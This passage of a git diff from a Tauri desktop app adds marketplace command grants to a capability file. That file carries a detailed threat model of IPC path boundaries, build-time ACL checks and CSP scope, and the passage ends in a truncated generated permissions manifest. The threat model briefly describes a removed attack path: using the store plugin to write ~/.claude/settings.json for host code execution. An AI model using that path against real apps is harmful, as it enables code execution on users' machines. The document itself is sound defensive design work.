permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate field and Backup. Two commands still take a host path over IPC as a string — the terminal drop and `download_container_backup` — and for those `validate_host_path` is the boundary rather than defence in depth. This file is the reviewed threat model of record, so keep this census accurate: a stale reference here is worse than none. Note that dragging files *into* the app is unaffected: `dragDropEnabled` and `onDragDropEvent` are core webview behaviour and need no grant. Historical note kept because it is easy to re-introduce: the `store:*` grants were removed — nothing in `app/src` uses `@tauri-apps/plugin-store`, and the plugin's `resolve_store_path` is a `PathBuf::push` against AppData, which `push` discards outright when handed an absolute path, so the grant was an arbitrary host-file read/write primitive (`plugin:store|load` + `set` + `save` on `~/.claude/settings.json` is host code execution). A second capability file, `file-viewer.json`, covers the `file-viewer-*` windows the terminal file viewer opens on `viewer.html`; it is the only other local-origin window, its grants are listed and justified there, and its one non-obvious grant (`core:window:allow-destroy`) exists because `onCloseRequested` cannot close a window without it. App commands are gated by this file too. `build.rs` declares a Tauri `AppManifest` listing every command in `generate_handler!`, which is what makes tauri 2.11.0 apply the ACL to app commands at all (`webview/mod.rs:1794` skips it when no app manifest exists), and the bare `allow-` entries below are the complete list of app commands the main window may call. `build.rs` refuses to build unless every registered command has exactly one such grant, in the file whose `windows` its name says it belongs to (`viewer_*` in `file-viewer.json`, everything else here), and unless every bare entry names a registered command — so a forgotten, misspelled, duplicated or misfiled grant is a failed `cargo check`, not a feature that dies at runtime with `not allowed by ACL`. `deny-*` is banned by the same check: in tauri 2.11.0 a deny matches regardless of window or origin, so a deny meant for the viewer would deny main too. Hand-written files under `permissions/` are refused for the same reason — they would be grants this census cannot see. Because the census can only vouch for what it reads, `build.rs` also refuses any capability it did not check: anything in `capabilities/` other than a top-level `*.json` file (tauri also loads `.toml`/`.json5` there, and subdirectories), a `webviews` or `remote` key in a capability file (either would extend grants beyond what `windows` says), `app.security.capabilities` declared inline in `tauri.conf.json`, any `tauri..conf.json`, or `TAURI_CONFIG`, and a tauri config in a format the census cannot parse (JSON5, TOML). OS/editor junk (`.DS_Store`, `Thumbs.db`, editor swap files) is recognised and skipped in `capabilities/` and `permissions/` rather than refused, since tauri never loads it either. Each failure names the check that failed (\"stray entry in capabilities/\", \"capabilities declared outside capabilities/\", \"hand-written permission\", …) rather than always reading as a grant/handler mismatch. Known gap: adding a new `tauri..conf.json` to a tree that has already been built once only takes effect on a clean build or in CI — cargo's incremental build has no reason to notice a file that did not exist on the previous build. The `*marketplace*` commands fetch user-configured https git repos on the host and push pinned files into containers; account tokens stay in the OS keychain and never cross IPC outward — the only inbound one is the token pasted into `add_marketplace_token_account`. The pop-out stays capability-less. The Rust label gates in `commands/file_viewer_commands.rs` remain, because the ACL says *which* window may call a command and the label says *whose* registry entry it acts on; they are not redundant. The rules live in `src/command_census.rs`, which is unit-tested, and `src/test/capabilities.test.ts` checks the other direction: that the code that runs in each window imports only the wrappers that window is granted. On the CSP side: `app.security.csp` in `tauri.conf.json` covers the shipped bundle, and there is deliberately no `devCsp`. `npm run tauri dev` loads the main document straight from Vite at `build.devUrl` (`http://localhost:1420`), and Tauri only attaches a CSP to documents it serves itself — `protocol/tauri.rs:217` sets the header on `tauri://` assets, and the dev server is proxied through that protocol only when `PROXY_DEV_SERVER`, which is `cfg!(all(dev, mobile))` and therefore false for every desktop build. A `devCsp` here would be inert config that reads as protection, which is worse than its absence. If a CSP in dev is wanted, the only place that can set one is the Vite dev server's own `server.headers` in `app/vite.config.ts`; it is not set today, and dev is not the shipped configuration.", "windows": ["main"], "permissions": [ "core:event:allow-listen", @@ -117,6 +117,27 @@ "allow-run-scheduled-task-now", "allow-remove-scheduled-task", "allow-get-scheduler-notifications", - "allow-clear-scheduler-notifications" + "allow-clear-scheduler-notifications", + "allow-list-marketplace-snapshots", + "allow-refresh-marketplaces", + "allow-add-marketplace", + "allow-update-marketplace", + "allow-remove-marketplace", + "allow-install-marketplace-item", + "allow-uninstall-marketplace-item", + "allow-set-global-item-disabled", + "allow-forget-marketplace-installs", + "allow-list-marketplace-updates", + "allow-marketplace-item-diff", + "allow-update-marketplace-item", + "allow-apply-marketplace-now", + "allow-get-marketplace-sync-report", + "allow-add-marketplace-token-account", + "allow-add-marketplace-gh-host-account", + "allow-start-marketplace-gh-container-login", + "allow-cancel-marketplace-gh-login", + "allow-test-marketplace-account", + "allow-remove-marketplace-account", + "allow-marketplace-gh-host-available" ] } diff --git a/app/src-tauri/gen/schemas/acl-manifests.json b/app/src-tauri/gen/schemas/acl-manifests.json index f6913e3..26c640e 100644 --- a/app/src-tauri/gen/schemas/acl-manifests.json +++ b/app/src-tauri/gen/schemas/acl-manifests.json @@ -1 +1 @@ -{"__app-acl__":{"default_permission":null,"permissions":{"allow-acquire-claude-token":{"identifier":"allow-acquire-claude-token","description":"Enables the acquire_claude_token command without any pre-configured scope.","commands":{"allow":["acquire_claude_token"],"deny":[]}},"allow-add-project":{"identifier":"allow-add-project","description":"Enables the add_project command without any pre-configured scope.","commands":{"allow":["add_project"],"deny":[]}},"allow-add-scheduled-task":{"identifier":"allow-add-scheduled-task","description":"Enables the add_scheduled_task command without any pre-configured scope.","commands":{"allow":["add_scheduled_task"],"deny":[]}},"allow-apply-settings-import":{"identifier":"allow-apply-settings-import","description":"Enables the apply_settings_import command without any pre-configured scope.","commands":{"allow":["apply_settings_import"],"deny":[]}},"allow-aws-sso-refresh":{"identifier":"allow-aws-sso-refresh","description":"Enables the aws_sso_refresh command without any pre-configured scope.","commands":{"allow":["aws_sso_refresh"],"deny":[]}},"allow-build-gateway-image":{"identifier":"allow-build-gateway-image","description":"Enables the build_gateway_image command without any pre-configured scope.","commands":{"allow":["build_gateway_image"],"deny":[]}},"allow-build-image":{"identifier":"allow-build-image","description":"Enables the build_image command without any pre-configured scope.","commands":{"allow":["build_image"],"deny":[]}},"allow-build-stt-image":{"identifier":"allow-build-stt-image","description":"Enables the build_stt_image command without any pre-configured scope.","commands":{"allow":["build_stt_image"],"deny":[]}},"allow-cancel-claude-token":{"identifier":"allow-cancel-claude-token","description":"Enables the cancel_claude_token command without any pre-configured scope.","commands":{"allow":["cancel_claude_token"],"deny":[]}},"allow-check-browser-view-support":{"identifier":"allow-check-browser-view-support","description":"Enables the check_browser_view_support command without any pre-configured scope.","commands":{"allow":["check_browser_view_support"],"deny":[]}},"allow-check-docker":{"identifier":"allow-check-docker","description":"Enables the check_docker command without any pre-configured scope.","commands":{"allow":["check_docker"],"deny":[]}},"allow-check-for-updates":{"identifier":"allow-check-for-updates","description":"Enables the check_for_updates command without any pre-configured scope.","commands":{"allow":["check_for_updates"],"deny":[]}},"allow-check-gateway-health":{"identifier":"allow-check-gateway-health","description":"Enables the check_gateway_health command without any pre-configured scope.","commands":{"allow":["check_gateway_health"],"deny":[]}},"allow-check-image-exists":{"identifier":"allow-check-image-exists","description":"Enables the check_image_exists command without any pre-configured scope.","commands":{"allow":["check_image_exists"],"deny":[]}},"allow-check-image-update":{"identifier":"allow-check-image-update","description":"Enables the check_image_update command without any pre-configured scope.","commands":{"allow":["check_image_update"],"deny":[]}},"allow-clear-claude-token":{"identifier":"allow-clear-claude-token","description":"Enables the clear_claude_token command without any pre-configured scope.","commands":{"allow":["clear_claude_token"],"deny":[]}},"allow-clear-gateway-api-key":{"identifier":"allow-clear-gateway-api-key","description":"Enables the clear_gateway_api_key command without any pre-configured scope.","commands":{"allow":["clear_gateway_api_key"],"deny":[]}},"allow-clear-scheduler-notifications":{"identifier":"allow-clear-scheduler-notifications","description":"Enables the clear_scheduler_notifications command without any pre-configured scope.","commands":{"allow":["clear_scheduler_notifications"],"deny":[]}},"allow-close-browser-view-popout":{"identifier":"allow-close-browser-view-popout","description":"Enables the close_browser_view_popout command without any pre-configured scope.","commands":{"allow":["close_browser_view_popout"],"deny":[]}},"allow-close-container-page":{"identifier":"allow-close-container-page","description":"Enables the close_container_page command without any pre-configured scope.","commands":{"allow":["close_container_page"],"deny":[]}},"allow-close-terminal-session":{"identifier":"allow-close-terminal-session","description":"Enables the close_terminal_session command without any pre-configured scope.","commands":{"allow":["close_terminal_session"],"deny":[]}},"allow-confirm-migration":{"identifier":"allow-confirm-migration","description":"Enables the confirm_migration command without any pre-configured scope.","commands":{"allow":["confirm_migration"],"deny":[]}},"allow-create-container-directory":{"identifier":"allow-create-container-directory","description":"Enables the create_container_directory command without any pre-configured scope.","commands":{"allow":["create_container_directory"],"deny":[]}},"allow-delete-note":{"identifier":"allow-delete-note","description":"Enables the delete_note command without any pre-configured scope.","commands":{"allow":["delete_note"],"deny":[]}},"allow-detect-aws-config":{"identifier":"allow-detect-aws-config","description":"Enables the detect_aws_config command without any pre-configured scope.","commands":{"allow":["detect_aws_config"],"deny":[]}},"allow-detect-host-timezone":{"identifier":"allow-detect-host-timezone","description":"Enables the detect_host_timezone command without any pre-configured scope.","commands":{"allow":["detect_host_timezone"],"deny":[]}},"allow-detect-install-options":{"identifier":"allow-detect-install-options","description":"Enables the detect_install_options command without any pre-configured scope.","commands":{"allow":["detect_install_options"],"deny":[]}},"allow-download-container-backup":{"identifier":"allow-download-container-backup","description":"Enables the download_container_backup command without any pre-configured scope.","commands":{"allow":["download_container_backup"],"deny":[]}},"allow-download-container-file":{"identifier":"allow-download-container-file","description":"Enables the download_container_file command without any pre-configured scope.","commands":{"allow":["download_container_file"],"deny":[]}},"allow-export-settings":{"identifier":"allow-export-settings","description":"Enables the export_settings command without any pre-configured scope.","commands":{"allow":["export_settings"],"deny":[]}},"allow-get-app-version":{"identifier":"allow-get-app-version","description":"Enables the get_app_version command without any pre-configured scope.","commands":{"allow":["get_app_version"],"deny":[]}},"allow-get-auth-bridge-status":{"identifier":"allow-get-auth-bridge-status","description":"Enables the get_auth_bridge_status command without any pre-configured scope.","commands":{"allow":["get_auth_bridge_status"],"deny":[]}},"allow-get-browser-view-match-window":{"identifier":"allow-get-browser-view-match-window","description":"Enables the get_browser_view_match_window command without any pre-configured scope.","commands":{"allow":["get_browser_view_match_window"],"deny":[]}},"allow-get-browser-view-popout-state":{"identifier":"allow-get-browser-view-popout-state","description":"Enables the get_browser_view_popout_state command without any pre-configured scope.","commands":{"allow":["get_browser_view_popout_state"],"deny":[]}},"allow-get-browser-view-status":{"identifier":"allow-get-browser-view-status","description":"Enables the get_browser_view_status command without any pre-configured scope.","commands":{"allow":["get_browser_view_status"],"deny":[]}},"allow-get-container-info":{"identifier":"allow-get-container-info","description":"Enables the get_container_info command without any pre-configured scope.","commands":{"allow":["get_container_info"],"deny":[]}},"allow-get-container-page-state":{"identifier":"allow-get-container-page-state","description":"Enables the get_container_page_state command without any pre-configured scope.","commands":{"allow":["get_container_page_state"],"deny":[]}},"allow-get-container-staleness":{"identifier":"allow-get-container-staleness","description":"Enables the get_container_staleness command without any pre-configured scope.","commands":{"allow":["get_container_staleness"],"deny":[]}},"allow-get-gateway-auth-token":{"identifier":"allow-get-gateway-auth-token","description":"Enables the get_gateway_auth_token command without any pre-configured scope.","commands":{"allow":["get_gateway_auth_token"],"deny":[]}},"allow-get-gateway-status":{"identifier":"allow-get-gateway-status","description":"Enables the get_gateway_status command without any pre-configured scope.","commands":{"allow":["get_gateway_status"],"deny":[]}},"allow-get-help-content":{"identifier":"allow-get-help-content","description":"Enables the get_help_content command without any pre-configured scope.","commands":{"allow":["get_help_content"],"deny":[]}},"allow-get-migration-state":{"identifier":"allow-get-migration-state","description":"Enables the get_migration_state command without any pre-configured scope.","commands":{"allow":["get_migration_state"],"deny":[]}},"allow-get-scheduled-task-log":{"identifier":"allow-get-scheduled-task-log","description":"Enables the get_scheduled_task_log command without any pre-configured scope.","commands":{"allow":["get_scheduled_task_log"],"deny":[]}},"allow-get-scheduler-notifications":{"identifier":"allow-get-scheduler-notifications","description":"Enables the get_scheduler_notifications command without any pre-configured scope.","commands":{"allow":["get_scheduler_notifications"],"deny":[]}},"allow-get-settings":{"identifier":"allow-get-settings","description":"Enables the get_settings command without any pre-configured scope.","commands":{"allow":["get_settings"],"deny":[]}},"allow-get-stt-status":{"identifier":"allow-get-stt-status","description":"Enables the get_stt_status command without any pre-configured scope.","commands":{"allow":["get_stt_status"],"deny":[]}},"allow-get-web-terminal-status":{"identifier":"allow-get-web-terminal-status","description":"Enables the get_web_terminal_status command without any pre-configured scope.","commands":{"allow":["get_web_terminal_status"],"deny":[]}},"allow-has-claude-token":{"identifier":"allow-has-claude-token","description":"Enables the has_claude_token command without any pre-configured scope.","commands":{"allow":["has_claude_token"],"deny":[]}},"allow-inspect-ca-cert-path":{"identifier":"allow-inspect-ca-cert-path","description":"Enables the inspect_ca_cert_path command without any pre-configured scope.","commands":{"allow":["inspect_ca_cert_path"],"deny":[]}},"allow-install-browser-view-browser":{"identifier":"allow-install-browser-view-browser","description":"Enables the install_browser_view_browser command without any pre-configured scope.","commands":{"allow":["install_browser_view_browser"],"deny":[]}},"allow-install-browser-view-support":{"identifier":"allow-install-browser-view-support","description":"Enables the install_browser_view_support command without any pre-configured scope.","commands":{"allow":["install_browser_view_support"],"deny":[]}},"allow-list-aws-profiles":{"identifier":"allow-list-aws-profiles","description":"Enables the list_aws_profiles command without any pre-configured scope.","commands":{"allow":["list_aws_profiles"],"deny":[]}},"allow-list-claude-sessions":{"identifier":"allow-list-claude-sessions","description":"Enables the list_claude_sessions command without any pre-configured scope.","commands":{"allow":["list_claude_sessions"],"deny":[]}},"allow-list-container-capabilities":{"identifier":"allow-list-container-capabilities","description":"Enables the list_container_capabilities command without any pre-configured scope.","commands":{"allow":["list_container_capabilities"],"deny":[]}},"allow-list-container-files":{"identifier":"allow-list-container-files","description":"Enables the list_container_files command without any pre-configured scope.","commands":{"allow":["list_container_files"],"deny":[]}},"allow-list-notes":{"identifier":"allow-list-notes","description":"Enables the list_notes command without any pre-configured scope.","commands":{"allow":["list_notes"],"deny":[]}},"allow-list-projects":{"identifier":"allow-list-projects","description":"Enables the list_projects command without any pre-configured scope.","commands":{"allow":["list_projects"],"deny":[]}},"allow-list-scheduled-tasks":{"identifier":"allow-list-scheduled-tasks","description":"Enables the list_scheduled_tasks command without any pre-configured scope.","commands":{"allow":["list_scheduled_tasks"],"deny":[]}},"allow-migrate-project-to-base":{"identifier":"allow-migrate-project-to-base","description":"Enables the migrate_project_to_base command without any pre-configured scope.","commands":{"allow":["migrate_project_to_base"],"deny":[]}},"allow-open-browser-view-popout":{"identifier":"allow-open-browser-view-popout","description":"Enables the open_browser_view_popout command without any pre-configured scope.","commands":{"allow":["open_browser_view_popout"],"deny":[]}},"allow-open-file-viewer":{"identifier":"allow-open-file-viewer","description":"Enables the open_file_viewer command without any pre-configured scope.","commands":{"allow":["open_file_viewer"],"deny":[]}},"allow-open-page-in-container-browser":{"identifier":"allow-open-page-in-container-browser","description":"Enables the open_page_in_container_browser command without any pre-configured scope.","commands":{"allow":["open_page_in_container_browser"],"deny":[]}},"allow-open-terminal-session":{"identifier":"allow-open-terminal-session","description":"Enables the open_terminal_session command without any pre-configured scope.","commands":{"allow":["open_terminal_session"],"deny":[]}},"allow-open-url-external":{"identifier":"allow-open-url-external","description":"Enables the open_url_external command without any pre-configured scope.","commands":{"allow":["open_url_external"],"deny":[]}},"allow-paste-image-to-terminal":{"identifier":"allow-paste-image-to-terminal","description":"Enables the paste_image_to_terminal command without any pre-configured scope.","commands":{"allow":["paste_image_to_terminal"],"deny":[]}},"allow-preview-settings-import":{"identifier":"allow-preview-settings-import","description":"Enables the preview_settings_import command without any pre-configured scope.","commands":{"allow":["preview_settings_import"],"deny":[]}},"allow-pull-gateway-image":{"identifier":"allow-pull-gateway-image","description":"Enables the pull_gateway_image command without any pre-configured scope.","commands":{"allow":["pull_gateway_image"],"deny":[]}},"allow-pull-image":{"identifier":"allow-pull-image","description":"Enables the pull_image command without any pre-configured scope.","commands":{"allow":["pull_image"],"deny":[]}},"allow-pull-stt-image":{"identifier":"allow-pull-stt-image","description":"Enables the pull_stt_image command without any pre-configured scope.","commands":{"allow":["pull_stt_image"],"deny":[]}},"allow-read-container-file":{"identifier":"allow-read-container-file","description":"Enables the read_container_file command without any pre-configured scope.","commands":{"allow":["read_container_file"],"deny":[]}},"allow-rebuild-project-container":{"identifier":"allow-rebuild-project-container","description":"Enables the rebuild_project_container command without any pre-configured scope.","commands":{"allow":["rebuild_project_container"],"deny":[]}},"allow-reconcile-project-statuses":{"identifier":"allow-reconcile-project-statuses","description":"Enables the reconcile_project_statuses command without any pre-configured scope.","commands":{"allow":["reconcile_project_statuses"],"deny":[]}},"allow-regenerate-gateway-auth-token":{"identifier":"allow-regenerate-gateway-auth-token","description":"Enables the regenerate_gateway_auth_token command without any pre-configured scope.","commands":{"allow":["regenerate_gateway_auth_token"],"deny":[]}},"allow-regenerate-web-terminal-token":{"identifier":"allow-regenerate-web-terminal-token","description":"Enables the regenerate_web_terminal_token command without any pre-configured scope.","commands":{"allow":["regenerate_web_terminal_token"],"deny":[]}},"allow-remove-project":{"identifier":"allow-remove-project","description":"Enables the remove_project command without any pre-configured scope.","commands":{"allow":["remove_project"],"deny":[]}},"allow-remove-scheduled-task":{"identifier":"allow-remove-scheduled-task","description":"Enables the remove_scheduled_task command without any pre-configured scope.","commands":{"allow":["remove_scheduled_task"],"deny":[]}},"allow-rename-container-path":{"identifier":"allow-rename-container-path","description":"Enables the rename_container_path command without any pre-configured scope.","commands":{"allow":["rename_container_path"],"deny":[]}},"allow-resume-session-command":{"identifier":"allow-resume-session-command","description":"Enables the resume_session_command command without any pre-configured scope.","commands":{"allow":["resume_session_command"],"deny":[]}},"allow-rollback-migration":{"identifier":"allow-rollback-migration","description":"Enables the rollback_migration command without any pre-configured scope.","commands":{"allow":["rollback_migration"],"deny":[]}},"allow-run-docker-install":{"identifier":"allow-run-docker-install","description":"Enables the run_docker_install command without any pre-configured scope.","commands":{"allow":["run_docker_install"],"deny":[]}},"allow-run-scheduled-task-now":{"identifier":"allow-run-scheduled-task-now","description":"Enables the run_scheduled_task_now command without any pre-configured scope.","commands":{"allow":["run_scheduled_task_now"],"deny":[]}},"allow-save-note":{"identifier":"allow-save-note","description":"Enables the save_note command without any pre-configured scope.","commands":{"allow":["save_note"],"deny":[]}},"allow-send-audio-data":{"identifier":"allow-send-audio-data","description":"Enables the send_audio_data command without any pre-configured scope.","commands":{"allow":["send_audio_data"],"deny":[]}},"allow-set-auth-bridge-enabled":{"identifier":"allow-set-auth-bridge-enabled","description":"Enables the set_auth_bridge_enabled command without any pre-configured scope.","commands":{"allow":["set_auth_bridge_enabled"],"deny":[]}},"allow-set-browser-view-enabled":{"identifier":"allow-set-browser-view-enabled","description":"Enables the set_browser_view_enabled command without any pre-configured scope.","commands":{"allow":["set_browser_view_enabled"],"deny":[]}},"allow-set-browser-view-match-window":{"identifier":"allow-set-browser-view-match-window","description":"Enables the set_browser_view_match_window command without any pre-configured scope.","commands":{"allow":["set_browser_view_match_window"],"deny":[]}},"allow-set-browser-view-popout-always-on-top":{"identifier":"allow-set-browser-view-popout-always-on-top","description":"Enables the set_browser_view_popout_always_on_top command without any pre-configured scope.","commands":{"allow":["set_browser_view_popout_always_on_top"],"deny":[]}},"allow-set-container-page-viewport":{"identifier":"allow-set-container-page-viewport","description":"Enables the set_container_page_viewport command without any pre-configured scope.","commands":{"allow":["set_container_page_viewport"],"deny":[]}},"allow-set-gateway-api-key":{"identifier":"allow-set-gateway-api-key","description":"Enables the set_gateway_api_key command without any pre-configured scope.","commands":{"allow":["set_gateway_api_key"],"deny":[]}},"allow-set-scheduled-task-enabled":{"identifier":"allow-set-scheduled-task-enabled","description":"Enables the set_scheduled_task_enabled command without any pre-configured scope.","commands":{"allow":["set_scheduled_task_enabled"],"deny":[]}},"allow-start-audio-bridge":{"identifier":"allow-start-audio-bridge","description":"Enables the start_audio_bridge command without any pre-configured scope.","commands":{"allow":["start_audio_bridge"],"deny":[]}},"allow-start-gateway":{"identifier":"allow-start-gateway","description":"Enables the start_gateway command without any pre-configured scope.","commands":{"allow":["start_gateway"],"deny":[]}},"allow-start-project-container":{"identifier":"allow-start-project-container","description":"Enables the start_project_container command without any pre-configured scope.","commands":{"allow":["start_project_container"],"deny":[]}},"allow-start-stt":{"identifier":"allow-start-stt","description":"Enables the start_stt command without any pre-configured scope.","commands":{"allow":["start_stt"],"deny":[]}},"allow-start-web-terminal":{"identifier":"allow-start-web-terminal","description":"Enables the start_web_terminal command without any pre-configured scope.","commands":{"allow":["start_web_terminal"],"deny":[]}},"allow-stop-audio-bridge":{"identifier":"allow-stop-audio-bridge","description":"Enables the stop_audio_bridge command without any pre-configured scope.","commands":{"allow":["stop_audio_bridge"],"deny":[]}},"allow-stop-gateway":{"identifier":"allow-stop-gateway","description":"Enables the stop_gateway command without any pre-configured scope.","commands":{"allow":["stop_gateway"],"deny":[]}},"allow-stop-project-container":{"identifier":"allow-stop-project-container","description":"Enables the stop_project_container command without any pre-configured scope.","commands":{"allow":["stop_project_container"],"deny":[]}},"allow-stop-stt":{"identifier":"allow-stop-stt","description":"Enables the stop_stt command without any pre-configured scope.","commands":{"allow":["stop_stt"],"deny":[]}},"allow-stop-web-terminal":{"identifier":"allow-stop-web-terminal","description":"Enables the stop_web_terminal command without any pre-configured scope.","commands":{"allow":["stop_web_terminal"],"deny":[]}},"allow-submit-claude-token-code":{"identifier":"allow-submit-claude-token-code","description":"Enables the submit_claude_token_code command without any pre-configured scope.","commands":{"allow":["submit_claude_token_code"],"deny":[]}},"allow-sweep-claude-token-snapshots":{"identifier":"allow-sweep-claude-token-snapshots","description":"Enables the sweep_claude_token_snapshots command without any pre-configured scope.","commands":{"allow":["sweep_claude_token_snapshots"],"deny":[]}},"allow-terminal-input":{"identifier":"allow-terminal-input","description":"Enables the terminal_input command without any pre-configured scope.","commands":{"allow":["terminal_input"],"deny":[]}},"allow-terminal-resize":{"identifier":"allow-terminal-resize","description":"Enables the terminal_resize command without any pre-configured scope.","commands":{"allow":["terminal_resize"],"deny":[]}},"allow-transcribe-audio":{"identifier":"allow-transcribe-audio","description":"Enables the transcribe_audio command without any pre-configured scope.","commands":{"allow":["transcribe_audio"],"deny":[]}},"allow-update-project":{"identifier":"allow-update-project","description":"Enables the update_project command without any pre-configured scope.","commands":{"allow":["update_project"],"deny":[]}},"allow-update-scheduled-task":{"identifier":"allow-update-scheduled-task","description":"Enables the update_scheduled_task command without any pre-configured scope.","commands":{"allow":["update_scheduled_task"],"deny":[]}},"allow-update-settings":{"identifier":"allow-update-settings","description":"Enables the update_settings command without any pre-configured scope.","commands":{"allow":["update_settings"],"deny":[]}},"allow-upload-files-to-container":{"identifier":"allow-upload-files-to-container","description":"Enables the upload_files_to_container command without any pre-configured scope.","commands":{"allow":["upload_files_to_container"],"deny":[]}},"allow-upload-host-file-to-terminal":{"identifier":"allow-upload-host-file-to-terminal","description":"Enables the upload_host_file_to_terminal command without any pre-configured scope.","commands":{"allow":["upload_host_file_to_terminal"],"deny":[]}},"allow-viewer-choose-file":{"identifier":"allow-viewer-choose-file","description":"Enables the viewer_choose_file command without any pre-configured scope.","commands":{"allow":["viewer_choose_file"],"deny":[]}},"allow-viewer-get-state":{"identifier":"allow-viewer-get-state","description":"Enables the viewer_get_state command without any pre-configured scope.","commands":{"allow":["viewer_get_state"],"deny":[]}},"allow-viewer-poll-file":{"identifier":"allow-viewer-poll-file","description":"Enables the viewer_poll_file command without any pre-configured scope.","commands":{"allow":["viewer_poll_file"],"deny":[]}},"allow-viewer-read-file":{"identifier":"allow-viewer-read-file","description":"Enables the viewer_read_file command without any pre-configured scope.","commands":{"allow":["viewer_read_file"],"deny":[]}},"allow-viewer-write-file":{"identifier":"allow-viewer-write-file","description":"Enables the viewer_write_file command without any pre-configured scope.","commands":{"allow":["viewer_write_file"],"deny":[]}},"deny-acquire-claude-token":{"identifier":"deny-acquire-claude-token","description":"Denies the acquire_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["acquire_claude_token"]}},"deny-add-project":{"identifier":"deny-add-project","description":"Denies the add_project command without any pre-configured scope.","commands":{"allow":[],"deny":["add_project"]}},"deny-add-scheduled-task":{"identifier":"deny-add-scheduled-task","description":"Denies the add_scheduled_task command without any pre-configured scope.","commands":{"allow":[],"deny":["add_scheduled_task"]}},"deny-apply-settings-import":{"identifier":"deny-apply-settings-import","description":"Denies the apply_settings_import command without any pre-configured scope.","commands":{"allow":[],"deny":["apply_settings_import"]}},"deny-aws-sso-refresh":{"identifier":"deny-aws-sso-refresh","description":"Denies the aws_sso_refresh command without any pre-configured scope.","commands":{"allow":[],"deny":["aws_sso_refresh"]}},"deny-build-gateway-image":{"identifier":"deny-build-gateway-image","description":"Denies the build_gateway_image command without any pre-configured scope.","commands":{"allow":[],"deny":["build_gateway_image"]}},"deny-build-image":{"identifier":"deny-build-image","description":"Denies the build_image command without any pre-configured scope.","commands":{"allow":[],"deny":["build_image"]}},"deny-build-stt-image":{"identifier":"deny-build-stt-image","description":"Denies the build_stt_image command without any pre-configured scope.","commands":{"allow":[],"deny":["build_stt_image"]}},"deny-cancel-claude-token":{"identifier":"deny-cancel-claude-token","description":"Denies the cancel_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["cancel_claude_token"]}},"deny-check-browser-view-support":{"identifier":"deny-check-browser-view-support","description":"Denies the check_browser_view_support command without any pre-configured scope.","commands":{"allow":[],"deny":["check_browser_view_support"]}},"deny-check-docker":{"identifier":"deny-check-docker","description":"Denies the check_docker command without any pre-configured scope.","commands":{"allow":[],"deny":["check_docker"]}},"deny-check-for-updates":{"identifier":"deny-check-for-updates","description":"Denies the check_for_updates command without any pre-configured scope.","commands":{"allow":[],"deny":["check_for_updates"]}},"deny-check-gateway-health":{"identifier":"deny-check-gateway-health","description":"Denies the check_gateway_health command without any pre-configured scope.","commands":{"allow":[],"deny":["check_gateway_health"]}},"deny-check-image-exists":{"identifier":"deny-check-image-exists","description":"Denies the check_image_exists command without any pre-configured scope.","commands":{"allow":[],"deny":["check_image_exists"]}},"deny-check-image-update":{"identifier":"deny-check-image-update","description":"Denies the check_image_update command without any pre-configured scope.","commands":{"allow":[],"deny":["check_image_update"]}},"deny-clear-claude-token":{"identifier":"deny-clear-claude-token","description":"Denies the clear_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_claude_token"]}},"deny-clear-gateway-api-key":{"identifier":"deny-clear-gateway-api-key","description":"Denies the clear_gateway_api_key command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_gateway_api_key"]}},"deny-clear-scheduler-notifications":{"identifier":"deny-clear-scheduler-notifications","description":"Denies the clear_scheduler_notifications command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_scheduler_notifications"]}},"deny-close-browser-view-popout":{"identifier":"deny-close-browser-view-popout","description":"Denies the close_browser_view_popout command without any pre-configured scope.","commands":{"allow":[],"deny":["close_browser_view_popout"]}},"deny-close-container-page":{"identifier":"deny-close-container-page","description":"Denies the close_container_page command without any pre-configured scope.","commands":{"allow":[],"deny":["close_container_page"]}},"deny-close-terminal-session":{"identifier":"deny-close-terminal-session","description":"Denies the close_terminal_session command without any pre-configured scope.","commands":{"allow":[],"deny":["close_terminal_session"]}},"deny-confirm-migration":{"identifier":"deny-confirm-migration","description":"Denies the confirm_migration command without any pre-configured scope.","commands":{"allow":[],"deny":["confirm_migration"]}},"deny-create-container-directory":{"identifier":"deny-create-container-directory","description":"Denies the create_container_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["create_container_directory"]}},"deny-delete-note":{"identifier":"deny-delete-note","description":"Denies the delete_note command without any pre-configured scope.","commands":{"allow":[],"deny":["delete_note"]}},"deny-detect-aws-config":{"identifier":"deny-detect-aws-config","description":"Denies the detect_aws_config command without any pre-configured scope.","commands":{"allow":[],"deny":["detect_aws_config"]}},"deny-detect-host-timezone":{"identifier":"deny-detect-host-timezone","description":"Denies the detect_host_timezone command without any pre-configured scope.","commands":{"allow":[],"deny":["detect_host_timezone"]}},"deny-detect-install-options":{"identifier":"deny-detect-install-options","description":"Denies the detect_install_options command without any pre-configured scope.","commands":{"allow":[],"deny":["detect_install_options"]}},"deny-download-container-backup":{"identifier":"deny-download-container-backup","description":"Denies the download_container_backup command without any pre-configured scope.","commands":{"allow":[],"deny":["download_container_backup"]}},"deny-download-container-file":{"identifier":"deny-download-container-file","description":"Denies the download_container_file command without any pre-configured scope.","commands":{"allow":[],"deny":["download_container_file"]}},"deny-export-settings":{"identifier":"deny-export-settings","description":"Denies the export_settings command without any pre-configured scope.","commands":{"allow":[],"deny":["export_settings"]}},"deny-get-app-version":{"identifier":"deny-get-app-version","description":"Denies the get_app_version command without any pre-configured scope.","commands":{"allow":[],"deny":["get_app_version"]}},"deny-get-auth-bridge-status":{"identifier":"deny-get-auth-bridge-status","description":"Denies the get_auth_bridge_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_auth_bridge_status"]}},"deny-get-browser-view-match-window":{"identifier":"deny-get-browser-view-match-window","description":"Denies the get_browser_view_match_window command without any pre-configured 